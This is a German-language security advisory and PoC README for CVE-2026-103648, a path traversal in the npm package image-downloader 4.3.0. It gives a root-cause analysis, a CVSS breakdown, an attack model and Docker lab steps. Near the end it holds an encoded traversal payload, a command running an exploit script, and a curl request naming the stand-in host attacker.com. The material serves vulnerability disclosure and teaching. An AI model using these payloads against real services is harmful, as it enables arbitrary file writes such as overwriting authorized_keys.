
Advisory und PoC für CVE-2026-103648, einen Path Traversal (CWE-22) in image-downloader 4.3.0, der beliebiges Schreiben von Dateien ermöglicht, mit Ursachenanalyse, Patch-Diff und Docker-Lab.
image-downloader
Entdeckt von: Amirhossein Roustaei (@EterNullSec) — Eternull Security
📖 Vollständige technische Analyse: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
⚠️ Nur für Bildungszwecke. Dieses Repository dokumentiert eine verantwortungsvoll offengelegte Schwachstelle. Der gesamte PoC-Code ist ausschließlich für autorisierte Sicherheitsforschung und Tests in isolierten Laborumgebungen vorgesehen. Nicht gegen Systeme verwenden, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-103648 |
| NVD-Eintrag | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS-v3.1-Score | 9.1 Kritisch — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Unsachgemäße Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis |
| Paket | image-downloader (npm) von demsking |
| Wöchentliche npm-Downloads | ~11.000 (~38.000/Monat) — Quelle |
| Betroffene Versionen | < 4.3.1 (alle Versionen einschließlich 4.3.0) |
| Behobene Version | 4.3.1 |
| Zugewiesen von | GitLab |
| Veröffentlicht | 2026-10-02 |
| Melder | Amirhossein Roustaei (@EterNullSec), Eternull Security |
Die Schwachstelle liegt in der Logik zur Dateinamensextraktion von [email protected]. Dies ist der tatsächliche Quellcode der betroffenen Version (index.js, direkt aus dem veröffentlichten npm-Paket entnommen):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) wird auf den noch prozentkodierten URL-Pfadnamen angewendet. Eine Sequenz wie %2e%2e%2fpwned.sh enthält kein literales /, daher behandelt path.basename() das Ganze als einen einzigen Dateinamen und gibt ihn unverändert zurück — nichts wird entfernt.decodeURIComponent() geleitet. Dies ist der Schritt, der %2e%2e%2f wieder in ein literales ../ verwandelt — doch zu diesem Zeitpunkt hat es den basename-Schritt, der es bereinigen sollte, bereits überstanden.path.join(options.dest, decodedBasename) wird mit einem String aufgerufen, der nun ein echtes ../-Segment enthält. path.join() normalisiert .. auf dieselbe Weise wie cd .. — sodass der endgültige Schreibpfad zu einem Ort außerhalb von options.dest aufgelöst wird.Kurz gesagt: Der Code dekodiert den Dateinamen auf die richtige Weise, nur in der falschen Reihenfolge relativ zu path.basename(). Dekodieren-dann-basename ist sicher; basename-dann-dekodieren ist es nicht.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Dieses Lab demonstriert den Mechanismus des Bugs durchgängig in einem einzigen Skript, um die Reproduzierbarkeit zu erleichtern, aber es lohnt sich, das reale Angriffsmodell explizit zu benennen:
image-downloaders download.image({ url, dest }) mit einem url-Wert aufruft, den sie nicht selbst vollständig kontrolliert – z. B. eine von einem Benutzer übermittelte URL (Avatar-/Bildimport-Funktionen), eine aus einer Webhook-Payload stammende oder aus einem RSS-/Content-Feed gelesene URL.url des Opfers zeigt, und kontrolliert die Pfadkomponente dieser URL – was für sich genommen bereits ausreicht, da die Traversierung im URL-Pfad (%2e%2e%2f...) liegt, nicht im Response-Body.authorized_keys-Datei oder einer ausführbaren Datei, die die App später ausführt).In exploit/exploit.py sind die Rollen von Angreifer und Opfer aus Laborbequemlichkeit in einem einzigen Skript zusammengefasst (es stellt sowohl die „Opfer"-Serveranfrage als auch den angreiferkontrollierten Payload-Server bereit). In einem realen Ausnutzungsszenario sind dies zwei getrennte, voneinander unabhängige Parteien – der PoC ist nur deshalb so aufgebaut, damit die Schwachstelle mit einem einzigen Befehl reproduzierbar ist.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Der verwundbare Server ist unter http://localhost:3000 verfügbar.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Oder manuell mit curl (die Traversierung befindet sich im URL-Pfad, nicht im Antworttext):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"